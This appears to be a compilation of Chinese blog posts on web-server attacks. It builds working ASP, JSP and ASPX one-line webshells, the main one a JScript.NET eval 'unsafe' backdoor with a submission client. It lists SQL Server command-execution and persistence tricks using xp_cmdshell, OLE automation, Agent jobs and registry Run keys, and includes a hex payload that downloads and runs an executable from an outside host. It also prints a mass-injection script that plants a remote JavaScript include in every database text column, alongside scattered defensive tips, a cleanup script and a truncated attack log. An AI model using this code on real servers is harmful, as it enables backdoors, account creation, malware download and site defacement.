首先回顾一下以前ASP一句话的经典木马吧!

<%if request("nonamed")<>"" then execute request("nonamed")%>
VBS中execute就是动态运行指定的代码而JSCRIPT中也同样有eval函数可以实现,也就是说ASP一句话木马也有个版本是采用JSCRIPT的 eval的!网上也有例子我就不多说了!.....
然后解析语言终究发展成为中间代码例如java .net  动态执行也就不存在了!
之前ASP中正常情况只支持VBS JSCRIPT(像python perlscript 这些特例的我就不说了)...
如今ASPX中 所支持的VBS的高级版本VB已经不存在execute这个独有的方法....真遗憾....
同时Jscript 也一样转向高级版本Jscript.net  但是我们需要的eval函数还是生存下来的!script child有幸了...
先埋下一个伏笔吧~ 先谈谈如今的中间语言WEB应用中的一句话
JSP :<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%> 这个是我自己写的 要弹要说,都是大家的 呵呵!我不发言.....
ASPX:<%@ Page Language="C#" validateRequest="false" %><%System.IO.StreamWriter ow=new System.IO.StreamWriter(Server.MapPath("images.aspx"),false);ow.Write(Request.Params["l"]);ow.Close()%>这个不知道是谁的作品,感觉性质有点像我的JSP一句话了!不过还是把简单的shell实现了!支持ing....
两个一句话大体都一样 调用类把 接收的都写到文件!简单说就是对文件写操作而已!~昔日ASP一句话的光辉 如今在中间语言的后门中给限制得荡然无存~~错!......ASPX C/S木马我们一样可以实现!因为有Jscript.net的存在!上面所说到的eval函数还生存着!~
OK我们先来实现
<%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["nonamed"]));%>
这样?恩!可以拿去尝试了~ 保存为 text.aspx 然后提交
http://127.0.0.1/text.aspx?nonamed=var%20mydate%20=%20new%20Date
();
打印出当前时间...Sat Aug 4 20:05:20 UTC+8 2007
貌似OK了哦! 呵呵 我们再试
http://127.0.0.1/text.aspx?nonamed=Server.MapPath
(".");
发现报告错误了!....(我就是因为卡在这里,所以折腾了几个月,不然这文章早出炉了!在这里感谢一下  闇の術士 QQ:4659675 欢迎大家找他学习 ...哈)
错误原因
{
安全性异常
说明: 应用程序试图执行安全策略不允许的操作。要授予此应用程序所需的权限,请与系统管理员联系,或在配置文件中更改该应用程序的信任级别。
异常详细信息: System.Security.SecurityException: 请求失败。
}
为什么会这样呢?OK我们找到 MS文档
往下面看
JScript .NET  

JScript .NET 的新增功能
JScript .NET 是下一代的 Microsoft JScript 语言,它是使用 Web 语言方便快捷地访问 Microsoft .NET 平台的一种方法。JScript 的主要作用是使用 ASP.NET 构造 Web 站点和使用 .NET Framework 脚本自定义应用程序。
JScript .NET 与 ECMAScript 标准兼容,而且它还具有 ECMAScript 未指定的其他功能,例如,真正的编译代码、通过符合“通用语言规范”(CLS) 而实现的跨语言支持,以及对 .NET Framework 的访问。Visual Studio .NET 2002 中的 JScript .NET 版本充分利用了 .NET Framework 本身所具有的安全性,而 JScript .NET 2003 为 eval 方法添加了受限安全上下文,从而进一步增强了安全性。
在 JScript .NET 中的几种新功能旨在充分利用 CLS,这是用来标准化数据类型、对象公开方式、对象互用方式等内容的一组规则。任何符合 CLS 的语言都可以使用在 JScript .NET 中创建的类、对象和组件。作为 JScript 开发人员,您可以从其他符合 CLS 的编程语言访问类、组件和对象,而无需考虑语言特定的差异(比如数据类型)。JScript .NET 程序使用的一些 CLS 功能包括命名空间、属性、引用参数和本机数组。
下面是 JScript .NET 中的一些新功能:
JScript .NET 2003 的新增功能
eval 方法的受限安全上下文
现在,为了增强安全性,不管调用方的权限是什么,内置的 eval 方法都默认下在受限安全上下文中运行脚本。调用 eval 时如果将“unsafe”作为第二个可选参数,会导致脚本使用调用方的权限运行,这样就会允许访问文件系统、网络或用户界面。有关更多信息,请参见 eval 方法。
JScript .NET 2002 的新增功能
基于类的对象
JScript .NET(像 JScript 一样)通过基于原型的对象支持继承。JScript .NET 还允许声明定义对象数据和行为的类,从而支持基于类的对象。在 JScript .NET 中创建的类可由任何 .NET 语言使用和扩展。类可以继承基类的属性和方法。可以对类和类成员应用几种属性,修改它们的行为和可见性。有关更多信息,请参见基于类的对象。
JScript 数据类型
在 JScript .NET 中(像 JScript 一样),可以在编写程序时不指定变量的数据类型。JScript .NET 也可用作一种强类型化语言,其中所有变量都绑定到特定数据类型,或者您还可以混合使用类型化和非类型化变量。JScript .NET 提供了许多新的数据类型。还可以将类和 .NET 类型用作数据类型。有关更多信息,请参见 JScript 数据类型。
条件编译
指令可控制 JScript .NET 程序的编译。例如,@debug 指令可以为脚本的特定部分打开或关闭调试信息的发布。有关更多信息,请参见 @debug 指令。@position 指令为调试器设置当前行的行号。有关更多信息,请参见 @position 指令。如果正在编写将合并到其他脚本中的代码,那么这两个指令都是有用的。有关更多信息,请参见条件编译。
JScript 命名空间
命名空间通过将类、接口和方法组织成层次结构来防止命名冲突。在 JScript .NET 中,您可以定义自己的命名空间。还可以使用 JScript .NET 访问任何 .NET Framework 命名空间,包括自己定义的那些命名空间。包语句允许打包相关的类以实现方便的部署和避免出现命名冲突。有关更多信息,请参见 package 语句。导入语句使得 .NET Framework 命名空间可用于某个脚本,这样该脚本就能访问命名空间中的类和接口。有关更多信息,请参见 import 语句。
JScript 变量和常数
JScript .NET 引入了一个 Const 语句,用来定义表示常数值的标识符。有关更多信息,请参见 JScript 变量和常数。
枚举
JScript .NET 引入了 Enum 语句,允许构造枚举数据类型。利用枚举,可以为您的数据类型值指定有用的名称。有关更多信息,请参见 enum 语句。
再来找到 eval方法
JScript .NET  

eval 方法
计算 JScript 代码并执行。
function eval(codeString : String [, override : String])参数
codeString
必选。包含有效 JScript 代码的字符串。
override
可选。确定要应用于 codeString 中代码的安全权限的字符串。
备注
eval 函数允许动态执行 JScript 源代码。
传递给 eval 方法的代码执行时所在的上下文和调用 eval 方法时的上下文一样。请注意,在 eval 语句中定义的新变量或类型对于封闭程序是不可见的。
除非将字符串“unsafe”传递为第二个参数,否则,传递至 eval 方法的代码在受限安全上下文中执行。受限安全上下文禁止访问系统资源,如文件系统、网络或用户界面。如果代码试图访问这些资源,则会产生安全异常。
当 eval 的第二个参数为字符串“unsafe”时,传递给 eval 方法的代码在调用代码所在的安全上下文中执行。第二个参数是区分大小写的,因此,字符串“Unsafe”或“UnSAfE”不会重写受限安全上下文。
安全说明   在不安全的模式下,eval 只能用于执行从值得信任的源获得的代码字符串。
原来eval 给限制了安全性~呵呵那我们就照他说的去做加入 unsafe参数实现
<%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["z"],"unsafe"));%>
OK
提交http://127.0.0.1/test.aspx?z=Server.MapPath(".")
打印出 F:\nonamed\DOTNETPROJECT 是我当前的WEB目录 成功了! 热泪ing~~~ 也就是你提交什么上去他就运行什么 恢复当年ASP后门的效果了!~  -_-
Response.Write可以不要!不过我为了回显 所以加上去了 :)
OK 以下我们构造出 一句话的客户端吧!
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> ASPX one line Code Client</TITLE>
</HEAD>
<BODY>
<form action=http://127.0.0.1/test.aspx method=post>
<textarea name=z cols=120 rows=10 width=45>
var nonamed=new System.IO.StreamWriter(Server.MapPath("nonamed.aspx"),false);
nonamed.Write(Request.Item["l"]);
nonamed.Close();
</textarea>
<textarea name=l cols=120 rows=10 width=45>your code</textarea><BR><center><br>
<input type=submit value=提交>
</BODY>
</HTML>
 
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/kj021320/archive/2007/08/04/1726442.aspx

前段时间单位的服务器上被人上传了一个.NET木马,这次让我认识到以前没有见过的上传木马的招数,同时也找出一些对策,拿出来分享给大家。

.net木马目前很强的,下载地址:http://www.rootkit.net.cn/article.asp?id=132 (你可以上传到你的服务器上看看对你的系统都能做什么)

此木马是一个.NET程序制作,如果你的服务器支持.NET那就要注意了,进入木马有个功能叫:IIS Spy,点击以后可以看到所有站点所在的物理路径。以前有很多人提出过,但一直没有人给解决的答案。。

防御方法:
"%SystemRoot%/ServicePackFiles/i386/activeds.dll
"%SystemRoot%/system32/activeds.dll
"%SystemRoot%/system32/activeds.tlb

搜索这两个文件,把USER组和POWERS组去掉,只保留administrators和system权限。。如果还有其它组请全部去掉。。这样就能防止这种木马列出所有站点的物理路径。。。


asp程序最近碰到一个上传图片,但如果上传图片的文件夹给了IIS可执行脚本的权限,那么他上传.jpg的图片也一样能够执行ASP木马。呵呵
上传的格式为:xxx.asp;_200.jpg
注意他是用.jpg的格式上传,但中间有.asp,这样也能执行脚本,应该也是IIS的BUG。

解决方法:
一、能上传的目录给IIS不允许执行脚本的权限。
二、利用其它带文件防护功能的软件防止*.asp;*.jpg写入文件。
三、所有目录允许读取,只要是写入的文件夹在IIS里请将脚本改为无。如果没有服务器的朋友,那被传马那也没办法了,除非你可以协调空间商帮你做这些操作。

SQL Server是中小型网站广泛使用的数据库,由于功能强大也滋生了很多安全问题,国内又因为SQL注入攻击的很长一段时间流行,导致对SQL Server的入侵技巧也层出不穷,由于SQL Server支持多语句,相信很多小黑在对SQL Server进去SQL注入的时候很少使用猜解表名之类的方法,而直接转向使用SQL Server的存储过程和函数快速的拿权限,下面我就围绕SQL Server的系统存储过程和函数来介绍这些黑客技巧。
一、执行系统命令
  利用存储过程我们可以快速方便的获取一个shell,如执行系统命令,存储扩展调用如下:
  exec master..xp_cmdshell 'net user ray ray /add'
  xp_cmdshell是SQL Server自带的系统命令存储过程,默认情况下只有SYSADMIN服务器角色才能执行。
 
 利用OLE对象接口,SQL SERVER提供了一些函数访问OLE对象,分别是sp_OACREATE和sp_OAMethod,可以利用他们调用OLE控件,间接获取一个shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell,然后使用SP_OAMETHOD调用@shell的属性run执行命令。
  DECLARE @shell INT
  EXEC SP_OAcreate 'wscript.shell',@shell out
  EXEC SP_OAMETHOD @shell,'run',null, 'net user ray ray /add'
 
开启access的沙盒模式,在默认情况下Jet数据引擎不支持select shell("net user ray ray /add")这样的SQL语句,但是开启了JET引擎的沙盒模式后就可以执行命令,先利用xp_regwrite存储过程改写注册表,然后利用OpenRowSet访问一个系统本身自带的一个ACCESS数据库文件,再执行运行命令的SQL语句。
  EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0 \Engines','SandBoxMode','REG_DWORD',0
 
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user ray ray /add")');
 
除开这些,还可以利用SQL代理执行命令,当然必须先开启SQL代理服务,默认情况下这个服务是关闭的.我们可以先利用xp_servicecontrol开启SQLSERVERAGENT,然后建立个SQL计划任务,然后马上运行这个任务。
  exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
  use msdb exec sp_delete_job null,'x'
  exec sp_add_job 'x'
  exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c Dir C:\'
  exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x'
二、写任意文件执行命令
  利用xp_regwrite写注册表项,直接把要执行的命令写入RUN启动项。
  EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','shell','REG_SZ','C:\windows\system32\cmd.exe /c net user ray ray /add'
 
备份日志到启动项
  我们可以开启一个数据库的完全恢复模式,然后新建个表,插入要备份进日志的命令,最后把日志备份成批处理文件到用户启动文件夹,机器重新启动后就会运行这个文件。
  alter database msdb set RECOVERY FULL--
  create table cmd (a image)--
  backup log msdb to disk = 'c:\cmd1' with init--
  insert into cmd (a) values (0x130A0D0A6563686F2053657420503D6372656174654F626A65637428224D6963726F736F66742E584D4C4854545022293E6B2E7662730D0A6563686F20502E4F70656E2022474554222C22687474703A2F2F7777772E6973746F2E636E2F742E657865222C30203E3E6B2E7662730D0A6563686F20502E53656E6428293A73657420473D6372656174654F626A656374282241444F44422E53747265616D22293E3E6B2E7662730D0A6563686F20472E4D6F64653D333A472E547970653D313A472E4F70656E2829203E3E6B2E76627320200D0A6563686F20472E577269746520502E526573706F6E7365426F64793A472E53617665546F46696C652022742E657865222C32203E3E6B2E7662730D0A6B2E7662730D0A740D0A)--
  backup log ISTO to disk = 'C:\Documents and Settings\All Users\「开始」菜单\程序\启动\1.bat'--
  drop table cmd--
 
三、任意权限用户执行命令
  在任意权限的服务器角色下,我们只要知道服务器的SYSADMIN角色的帐户和密码就能利用OPENROWSET宏执行命令
  select * from OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:\''')
 
四、其他获取系统信息
  历遍目录
  exec master.dbo.xp_dirtree 'c:\'
 
获取子目录
  exec master.dbo.xp_subdirs 'c:\'
 
列举可用的系统分区
  exec master.dbo.xp_availablemedia
 
判断目录或文件是否存在
  exec master..xp_fileexist 'c:\boot.ini'
 
五、防御SQL注入有妙法
  1.对表结构进行修改。将管理员的账号字段的数据类型进行修改,文本型改成最大字段255(其实也够了,如果还想做得再大点,可以选择备注型),密码的字段也进行相同设置。
  2.对表进行修改。设置管理员权限的账号放在ID1,并输入大量中文字符,最好大于100个字。
  3.把真正的管理员密码放在ID2后的任何一个位置。
  我们通过上面的三步完成了对数据库的修改。
  这时是不是修改结束了呢?其实不然,要明白你做的ID1账号其实也是真正有权限的账号,现在计算机处理速度那么快,要是遇上个一定要将它算出来的软件,这也是不安全的。我想这时大多数人已经想到了办法,对,只要在管理员登录的页面文件中写入字符限制就行了!就算对方使用这个有上千字符的账号密码也会被挡住的,而真正的密码则可以不受限制。

标签:

SQL注入专题整理

    随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。 
    SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。
SQL注入漏洞全接触--入门篇   
  SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。   
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449834.aspx
SQL注入漏洞全接触--进阶篇   
  SQL注入的一般步骤,首先,判断环境,寻找注入点,判断数据库类型,其次,根据注入参数类型,在脑海中重构SQL语句的原貌。 
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449870.aspx
SQL注入漏洞全接触--高级篇   
  看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率? 
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449883.aspx
SQL注入法攻击一日通 
  SQL注入的简单原理和攻击一般步骤,文章作者想让人一天学会SQL注入攻击。   
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449901.aspx
SQL Server应用程序中的高级SQL注入 
  这份文档是详细讨论SQL注入技术,它适应于比较流行的IIS+ASP+SQLSERVER平台。它讨论了哪些SQL语句能通过各种各样的方法注入到应用程序中,并且记录与攻击相关的数据确认和数据库锁定。     
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449913.aspx
编写通用的ASP防SQL注入攻击程序
  如果编写通用的SQL防注入程序一般的http请求不外乎get 和 post,所以只要我们在文件中过滤所有post或者get请求中的参数信息中非法字符即可,所以我们实现http 请求信息过滤就可以判断是是否受到SQL注入攻击。
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449925.aspx
利用instr()函数防止SQL注入攻击
  学asp也有一段时间了,这几天一直在写自己的程序,也遇到了好多问题,我就不得不得考虑到一些现在的漏洞,比如,‘ 或 and 1=1等等的一些漏洞!别的先不管,今天我就来说说如何堵这个漏洞!详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449932.aspx
SQL注入攻击的原理及其防范措施   
  ASP编程门槛很低,新手很容易上路。在一段不长的时间里,新手往往就已经能够编出看来比较完美的动态网站,在功能上,老手能做到的,新手也能够做到。
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449940.aspx
跨站式SQL注入技巧 
  学习如何从数据库中获取想要获得的内容。
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449948.aspx
防范Sql注入式攻击   
  Sql注入式攻击是指利用设计上的漏洞,在目标服务器上运行Sql 命令以及进行其他方式的攻击 动态生成Sql命令时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449951.aspx
Dreamweaver中sql注入式攻击的防范   
  在安全性方面,新手最容易忽略的问题就是SQL注入漏洞的问题。用NBSI 2.0对网上的一些ASP网站稍加扫描,就能发现许多ASP网站存在SQL注入漏洞。详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449953.aspx
PHP与SQL注入攻击   
  SQL注入攻击是黑客攻击网站最常用的手段。如果你的站点没有使用严格的用户输入检验,那么常容易遭到SQL注入攻击。SQL注入攻击通常通过给站点数据库提交不良的数据或查询语句来实现,很可能使数据库中的纪录遭到暴露,更改或被删除。下面来谈谈SQL注入攻击是如何实现的,又如何防范。
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449956.aspx
SQL注入攻击零距离   
  一次次的SQL注射入侵,一次次的网站被黑,总是那句话,漏洞在所难免,难道一点办法都没吗?这篇文章就是为大家解析下SQL注 射的原理,以及给出一些预防方法。
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449959.aspx
SQL注入技术和跨站脚本攻击的检测   
  在最近两年中,安全专家应该对网络应用层的攻击更加重视。因为无论你有多强壮的防火墙规则设置或者非常勤于补漏的修补机制,如果你的网络应用程序开发者没有遵循 安全代码进行开发,攻击者将通过80端口进入你的系统。
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449961.aspx
菜鸟入门级:SQL注入攻击   
  一般国内的小一点的新闻站点程序 都有 ""&request 这种漏洞,下面我讲解攻击方法。
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449963.aspx
三步堵死SQL注入漏洞   
  防御SQL注入有妙法,第一步:很多新手从网上下载SQL通用防注入系统的程序,在需要防范注入的页面头部用 来防止别人进行手动注入测试.
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449965.aspx
SQL注入实战---利用“dbo”获得SQL管理权限和系统权限   
  如果显示“dbo” 转换数据类型为 int 的列时发生语法错误 那么就可以用我下面介绍的方法来获得系统管理权限,如果是“abc” 转换数据类型为 int 的列时发生语法错误 那么就用不能用我下面的介绍来获得系统权限了.
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449967.aspx
两个防SQL注入过滤代码   
  SQL注入防护的一种简单方法,在网页中嵌入过滤代码,基于认为的安全防护措施.
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449969.aspx
蓝雨设计整站SQL注入漏洞   
  以下文章中就会出现NOWA修改系统漏洞当中从未有的SQL注入漏洞!只怪蓝雨修改程序的时候没有做好注入问题了!这个可不能怪我!谁叫人家程序设计员不会注意安全死角阿?
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449972.aspx
SQL注入渗透某网络安全公司的网站全过程   
  写这篇文章不是为了告诉大家如何去做入侵,而是希望提醒大家:“入侵是偶然的,但安全并不是必然的”,不要疏忽运作上的一些小细节。
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449973.aspx
sql注入防御   
  SQL注入通过网页对网站数据库进行修改。它能够直接在数据库中添加具有管理员权限的用户,从而最终获得系统管理员权限。黑客可以利用获得的管理员权限任意获得网站上的文件或者在网页上加挂木马和各种恶意程序,对网站和访问该网站的网友都带来巨大危害.详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449976.aspx
终极防范SQL注入漏洞   
  其实SQL注入漏洞并不可怕,知道原理 + 耐心仔细,就可以彻底防范!下面给出4个函数,足够你抵挡一切SQL注入漏洞!读懂代码,你就能融会贯通.详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449979.aspx
SQL注入与ASP木马上传   
  SQL注入后,如何上传木马,一直是比较头疼的事,我这里提供上传木马的一种另一种方法。
1、SQL注入的时候,用xp_cmdshell 向服务器上写入一个能写文件的asp文件.
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449983.aspx
如何在SQL注入时保护数据库   
  SQL注入是防止数据库攻击的一个有效策略。攻击者将注入一个SQL语句到另外一个语句中,这个通常会损坏你的数据库。有数据库接口的Web站点通常在SQL注入的时候容易受到攻击,因为它们是基于动态的SQL.
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449986.aspx
天晨设计整站SQL注入漏洞   
  作者从一个安全工作员的角度,对天晨设计整站SQL注入漏洞做出了详细的测试.
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449988.aspx
浅谈sql注入式(SQL injection)攻击与防范   
  没有系统的学习过asp或者php编程,也没有系统的学习过access、sqlserver、mysql等数据库,所以我不是一个程序员,虽然经常干一些类似程序员的事情.
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449991.aspx
用vbs来写sql注入等80端口的攻击脚本 
  昨天晚上在机器里乱翻时无意打开一个vbs脚本,突然发现一个以前没有见过的对象Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),虽然对象没有见过,但是意思很明显:发送http请求.
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449992.aspx
C# 检查字符串,防SQL注入攻击   
  这些天,CSDN上讨论SQL注入攻击似乎是如火如荼啊...我也来参合一下..如下,CheckParams函数,接收参数任意,如参数中有字符串,则对字符串进行检查,如参数中有集合(如Array之类,总之是实现了ICollection的),则对集合中的字符串元素进行检查.
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449994.aspx
关于对SQL注入80004005 及其它错误消息分析   
  本文详细讲述了 Microsoft 数据访问组件 (MDAC) 收到 0x800040005 错误的一些常见原因,MDAC 包括 ActiveX 数据对象、OLE DB 和远程数据服务 (RDS)。同时,本文还讨论了其它一些错误消息,包括 80040e21、80040e14 和80040e10.
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449996.aspx
SQL注入入侵动网SQL版论坛
  现在动网最新版本是7.0+SP2。应该说安全性已经是很高的了。所以从脚本本身的问题去突破它难度不小。但是我们可以从外部的一些途径间接“搞定”动网.现在IIS+ASP+SQL2000的组合是比较常见的。而一个网站运用大量的ASP脚本程序,难免不出纰漏。如果一台主机上存在某个SQL注入点,而这台主机又安装有动网SQL版的话,基本上可以得出结论:这个动网就是你的了。下面来看一下实例.详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3450001.aspx
利用SQL注入2分钟入侵网站全程实录   
  说起流光、溯雪、乱刀,可以说是大名鼎鼎无人不知无人不晓,这些都是小榕哥的作品。每次一提起小榕哥来,我的崇拜景仰就如滔滔江水,连绵不绝~~~~(又来了!) 让我们崇拜的小榕哥最新又发布了SQL注入工具,这回喜欢利用SQL注入入侵网站的黑友们有福了。小榕哥的工具就是强!偶用它来搞定我们本地的信息港,从寻找注入漏洞到注入攻击成功,通过准确计时,总共只用了3分还差40秒,呵呵,王者风范,就是强啊!不信吗?看看我的入侵过程吧.
详细内容>>
http://blog.csdn.net/wufeng4552/archive/2008/12/05/3450005.aspx

 

--把注入代码print一下
print cast(0x4400650063006C0061007200650020004000540020005600610072006300680061007200280032003500350029002C0040004300200056006100720063006800610072002800320035003500290020004400650063006C0061007200650020005400610062006C0065005F0043007500720073006F007200200043007500720073006F007200200046006F0072002000530065006C00650063007400200041002E004E0061006D0065002C0042002E004E0061006D0065002000460072006F006D0020005300790073006F0062006A006500630074007300200041002C0053007900730063006F006C0075006D006E00730020004200200057006800650072006500200041002E00490064003D0042002E0049006400200041006E006400200041002E00580074007900700065003D00270075002700200041006E0064002000280042002E00580074007900700065003D003900390020004F007200200042002E00580074007900700065003D003300350020004F007200200042002E00580074007900700065003D0032003300310020004F007200200042002E00580074007900700065003D00310036003700290020004F00700065006E0020005400610062006C0065005F0043007500720073006F00720020004600650074006300680020004E006500780074002000460072006F006D00200020005400610062006C0065005F0043007500720073006F007200200049006E0074006F002000400054002C004000430020005700680069006C006500280040004000460065007400630068005F005300740061007400750073003D0030002900200042006500670069006E00200045007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200053006500740020005B0027002B00400043002B0027005D003D0052007400720069006D00280043006F006E007600650072007400280056006100720063006800610072002800380030003000300029002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F003300620033002E006F00720067002F0063002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600650074006300680020004E006500780074002000460072006F006D00200020005400610062006C0065005F0043007500720073006F007200200049006E0074006F002000400054002C0040004300200045006E006400200043006C006F007300650020005400610062006C0065005F0043007500720073006F00720020004400650061006C006C006F00630061007400650020005400610062006C0065005F0043007500720073006F007200 aS NvArChAR(4000))

/*
得到的结果是
*/
Declare @T Varchar(255),@C Varchar(255--定义两个字符
Declare Table_Cursor Cursor For  --创建取表和字段的游标
Select A.Name,B.Name From Sysobjects A,Syscolumns B
Where
A.Id
=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167) --字段类型要是字符类型的
Open Table_Cursor  --打开游标
Fetch Next From  Table_Cursor Into @T,@C  --取值
While(@@Fetch_Status=0--这个不用说了,判断是否还有没有读取
Begin Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<script src=http://3b3.org/c.js></script>''') --往@Td表 @C字段里更新语句
Fetch Next From  Table_Cursor Into @T,@C
End
Close Table_Cursor
Deallocate Table_Cursor

消除注入代码的逆操作SQL:

Declare @T Varchar(255),@C Varchar(255)
Declare Table_Cursor Cursor For
Select A.Name,B.Name From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)

Open Table_Cursor
Fetch Next From  Table_Cursor Into @T,@C

While(@@Fetch_Status=0)
Begin
   
Exec('update ['+@T+'] Set ['+@C+']=replace(['+@C+'],''<script src=http://3b3.org/c.js></script>'','''')')
   
Fetch Next From  Table_Cursor Into @T,@C
End
Close Table_Cursor
Deallocate Table_Cursor

彻底杜绝SQL注入:

1.不要使用sa用户连接数据库
2、新建一个public权限数据库用户,并用这个用户访问数据库
3[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限
4[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×”
5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高):
DECLARE   @T   varchar(255),
@C   varchar(255)
DECLARE   Table_Cursor   CURSOR   FOR
Select   a.name,b.name   from   sysobjects   a,syscolumns   b
where   a.id=b.id   and   a.xtype= 'u '   and   (b.xtype=99   or   b.xtype=35   or   b.xtype=231   or   b.xtype=167)  
OPEN   Table_Cursor
FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN   print   @c
FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C  
END
CLOSE   Table_Cursor
DEALLOCATE   Table_Cursor  

标签:

SQL注入的学习以及应对办法

日志部分
GET /dispcontent.asp id=145;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b2727223e3c736372697074207372633d687474703a2f2f2533392533362533332532452537332537332532452536432536313e3c2f7363726970743e272727294645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72%20eXeC(@s);
 GET /dispcontent.asp id=145';dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b2727223e3c736372697074207372633d687474703a2f2f2533392533362533332532452537332537332532452536432536313e3c2f7363726970743e272727294645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e44204